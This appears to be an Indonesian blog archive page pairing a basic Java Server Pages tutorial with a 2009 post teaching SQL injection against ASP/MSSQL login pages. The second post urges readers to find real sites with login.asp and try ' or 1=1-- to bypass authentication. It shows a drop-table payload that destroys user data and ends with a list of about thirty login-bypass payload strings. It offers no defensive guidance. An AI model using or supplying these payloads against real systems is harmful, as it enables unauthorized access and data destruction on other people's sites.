Senin, 26 Oktober 2009

Selasa, 20 Januari 2009

JAVA SERVER PAGES

Dasar JSP
Java Server Pages (JSP) adalah bahasa scripting untuk web programming yang
bersifat server side seperti halnya PHP dan ASP. JSP dapat berupa gabungan
antara baris HTML dan fungsi-fungsi dari JSP itu sendiri. Berbeda dengan
Servlet yang harus dikompilasi oleh USER menjadi class sebelum dijalankan,
JSP tidak perlu dikompilasi oleh USER tapi SERVER yang akan melakukan
tugas tersebut. Makanya pada saat user membuat pertama kali atau melakukan
modifikasi halaman dan mengeksekusinya pada web browser akan memakan
sedikit waktu sebelum ditampilkan.


Seperti tipe aplikasi java lainnya (Servlet, Applet, Midlet dll), JSP juga bertipe
strong Type artinya penggunaan variable pada halaman tersebut harus
dideklarasikan terlebih dahulu. Misalnya pada sintaks pengulangan berikut:
for (int i=1; i<13; i++)
{
// statement
}


Seperti halnya skrip-skrip server side yang lain, JSP pun memerlukan Web
server. Skrip ASP memerlukan IIS sebagai web server, PHP memerlukan IIS
atau Apache, sedangkan JSP bisa menggunakan Apache Tomcat sebagai salah
satu web server yang mendukungnya.
Seperti halnya ASP dan PHP, skrip JSP terintegrasi dengan kode-kode HTML.
Untuk itu diperlukan pembatas awal dan akhir dimana elemen JSP diletakkan.
Pembatas yang digunakan adalah tanda berikut ini:
<%
// element JSP
%>

Pada JSP dikenal istilah berikut ini :



1. Scriplet, berisi statement-statement yang merupakan logika dari suatu
proses. Pembatas yang digunakan pada scriplet adalah :
<%
// statement
%>


Contoh program sederhana memakai JSP




JSP


<%
out.println("

Hello World...Hello JSP

");
%>





2. Deklarasi, gunanya untuk mendeklarasikan variabel atau method. Untuk
deklarasi digunakan pembatas sebagai berikut
<%!
// variabel
// method
%>
Pada JSP, seperti juga Java variabel bersifat strong type, artinya apabila
ingin menggunakan suatu variabel maka harus melalui proses
mendeklarasian tipe dari variabel tersebut. Contoh program sederhana yang
memakai variabel di dalamnya adalah sbb :
Dan berikut ini adalah program JSP yang memanfaatkan variable :




JSP


<%
// Deklarasi variabel
String nama;
char gol_darah;
int berat;
float tinggi;
String[] pekerjaan = new String[2];
nama = "Chocolove";
gol_darah = 'A';
berat = 70;
tinggi = (float)175.5;
pekerjaan[0] = "Penulis Lepas";
pekerjaan[1] = "Web Developer";
out.println("Nama : "+nama+"
");
out.println("Goloangan darah : "+gol_darah+"
");
out.println("Berat : "+berat+"
");
out.println("Tinggi : "+tinggi+"
");
out.println("Pekerjaan 1 : "+pekerjaan[0]+"
");
out.println("Pekerjaan 2 : "+pekerjaan[1]+"
");
%>





Deklarasi Fungsi di JSP sbb :

<%!
public int fungsiTambah(int bilangan1, int bilangan2)
{
int jumlah = 0;
jumlah = bilangan1 + bilangan2;
return jumlah;
}
%>


Hello World...Hello JSP


<%
int nilaiJumlah;
int bil1 = 3;
int bil2 = 9;
nilaiJumlah = fungsiTambah(4, 6);
out.println("Jumlah 4 + 6 : "+nilaiJumlah);
%>


<%
nilaiJumlah = fungsiTambah(bil1, bil2);
out.println("Jumlah "+bil1+" + "+bil2+" adalah "+nilaiJumlah);
%>




Control Flow
Control flow terdiri atas operasi pengulangan dan operasi kondisional.
Operasi pengulangan

Untuk operasi pengulangan terdapat tiga sintaks yang biasa digunakan sbb :
1. while
2. do while
3. for

Operasi kondisional

Untuk operasi kondisional terdapat dua sintaks yang biasa digunakan, yaitu :
1. if-else
2. switch-case



3. Ekspresi, berguna untuk menampilkan nilai dari suatu variabel atau
method. Pembatas yang digunakan pada suatu ekspresi adalah: <%=%>
Contoh pemakaiannya untuk menampilkan nilai suatu variabel adalah
sebagai berikut :



Hello World...Hello JSP


<% for (int i=1; i<=5; i++) { %>
<%=i%> Hello World....Hello JSP

<% } %>





Sebetulnya saya kurang paham dengan
java server pages
tapi mudah"an
untuk selanjutnya
saya bisa dengan baikk.....

Senin, 19 Januari 2009

DASAR-DASAR SQL INJECTION 1 * * Sebelum membahas tentang sql injection pertama-tama saya akan menerangkan apa itu sql injection dan kenapa bisa terjadi.Sebenernya SQL injection terjadi ketika attacker bisa meng insert beberapa SQL statement ke 'query' dengan cara manipulasi data input ke applikasi tsb. Diantara DB format seperti PHP + MySQL dan ASP + MSACCESS atau dengan MySql ,disini gw cuma akan membahas tentang ASP+MsSql yang udah dicoba pada IIS 5 dan beberapa sql injection pada url.Biasa Sql Injection dilakukan pada login page pada asp seperti di : admin\login.asp login.aspJadi yang akan menjadi target itu page tersebut ,sekarang kita mulai aja dengan dasar-dasar sql injection :d.Biasanya di sql statment select id, user_name, password from usermaksudnya perintah diatas menghasilkan data id,user_name dan password pada table user.Bisanya pada login page dengan mengunakan statment result setnya sebagai berikut :select id, user_name,password from user where name = 'echo' and password='password'Pada IIS dan ASP apabila terdapat kesalahan sintax script akan diberi tau dan ditampilkan di browserServer: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'jopi' SQL atau "Structured Query Language" seharusnya tidak menyentuh system calls. Tetapi tidak dengan MSSQL.Nah, ga tau kenapa karakter single quote 'breaks out' dari delimiter nya SQL Jadi kalau misal ada inputan User: echo';drop table user--dan akibatnya akan fatal , dan artinya adalah kita menghapus table user dan akan kosong deh tuh loginya :Doh iya '--' merukapan mark nya MSSQL, jadi perintah selanjutnya ga di execute.Sekarang untuk lebih jelasnya kita secara langsung pada login script sepertiinput login + password. Nama field nya 'login' dan 'pass'. dan SQL nya di asp: var sql = select * from users where username='"+login+"' and password='"+pass"'";coba kalau ada inputan: login: ';drop table users-- pass: chfn (*wink* negative)pasti ke drop tuh table usersAduh pada pusing ya , gini deh cara gampangnya adn kita lupakan yang diatas :P kita langsung praktek aja>Coba cari disitus-situs yang menggunakan asp dan MsSql sebagai DB nya, lalu cari login.asp atauadmin\login.asp.Kalau udah dapet masukin nich variable sql nyauser:admin pass:' or 1=1--Ingat kita disini hanya coba-coba kali aja dba nya ga pinter :datau :user:' or 1=1--admin:' or 1=1--Mas , ga bisa nich gimana ya ?Inget sekarang rata-rata para admin pada pinter semua , kita cari yg gombol aja deh untuk tes kalau ga lo bisabuat sendiri script dan tes karena gw udah coba buat sendiri dan berhasil tanpa melakukan paket filter pada db nya . Untuk test apakah suatu page mempunyai vulnerable , gini caranya :Kalian pernh melihat pada halaman-halaman ASP,JSP,PHP dan CGI yang didalam addressnya :http://vivtim/index.asp?id=10Selain kita test dengan login page diatas tadi , kita test dalam melakukan sedikit tambahanpada addressnya seperti memasukan : test'1=1-- menjadi http://victim/index.asp?id=test'1=1--Kita juga bisa juga melakukan xss dengan sql injection ini , coba download source HTML dari page targetlalu kita tamhankan hidden field pada source tersebut sebagai contoh :
Apabila beruntung kita apabila membuka page tersebut tidak perlu memasukan password dan username.ingat script ini ditamhakna pd script yg sudah kalian download dr target . Variable ' or 1=1--Mungkin pada bertanya-tanya kenapa mengunakan variable 'or 1=1-- dan sangat penting.Lihat contohpada sebuah web tertulis http://victim/index.asp?category=laptopDalam url tesebut category adalah variable name dan komputer adalah masukan untuk variable name tsb .Kalau ditulis dalam script ASP maka akan menjadi : v_cat = request("category") sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'" set rs=conn.execute(sqlstr)Data yang kita masukan seperti komputer akan masuk ke dalam v_cat variable dan pd sql statment menjadi SELECT * FROM product WHERE PCategory='laptop'lalu apa hub dengan 'or 1=1---coba kalau kita ganti http://victim/index.asp?category=laptop menjadi http://victim/index.asp?category=laptop'or 1=1--Kita lihat varible v_cat sekarang menjadi laptop'or 1=1-- lalu dalam SQL query nya menjadi SELECT * FROM product WHERE PCategory='laptop' or 1=1--'artinya v_cat mendapatkan masukan berupa varibale laptop atau var 1=1(kosong) yang menyebabkanSql Server menjadi bingung dan akan mengeksekusi Select * pada table tsb yang mengakibatkankita bisa masuk kedalam db teserbut dan db tsb tdk berfungsi :d. Lalu tanda -- merupakan mark dari sql untuk ignore semua perintah. Bisa dibayangkan kalau terjadi pada login pageKita bisa masuk kedalam login page tanpa password dan user name :d.Kemungkinan-kemungkinan variable lainya :
or 1=1--
" or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 # " or 0=0 # or 0=0 # ' or 'x'='x " or "x"="x ') or ('x'='x ' or 1=1-- " or 1=1-- or 1=1-- ' or a=a-- " or "a"="a ') or ('a'='a ") or ("a"="a hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi' or 'a'='a hi') or ('a'='a hi") or ("a"="a Selain masuk kedalam page tersebut kita juga bisa memanfaatkannya untuk remote execution dengan sql Injectiondan untuk artikel akan dimasukan dalam ezine 3 echo.or.id .Semoga artikel ini berguna .